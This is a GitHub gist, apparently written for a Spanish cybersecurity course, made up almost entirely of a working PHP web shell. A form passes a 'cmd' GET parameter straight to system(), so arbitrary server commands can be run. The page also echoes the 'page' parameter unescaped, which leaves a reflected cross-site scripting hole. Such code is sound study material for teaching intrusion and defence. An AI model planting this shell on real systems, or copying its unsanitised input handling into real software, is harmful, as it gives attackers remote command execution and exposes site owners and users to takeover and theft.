Last active
October 22, 2020 20:53
-
-
Save josejuansanchez/3d08cfb5d4c27f0773863f51e0ca7f03 to your computer and use it in GitHub Desktop.
Experimento para el curso de Ciberseguridad
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <form method="get" action=""> | |
| <input type="hidden" name="page" id="page" value="<?php echo $_GET['page']; ?>"> | |
| <input type="text" name="cmd" id="cmd" size="80"> | |
| <input type="submit" value="Ejecutar"> | |
| </form> | |
| <pre> | |
| <?php | |
| if(isset($_GET['cmd'])) | |
| { | |
| system($_GET['cmd']); | |
| } | |
| ?> | |
| </pre> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment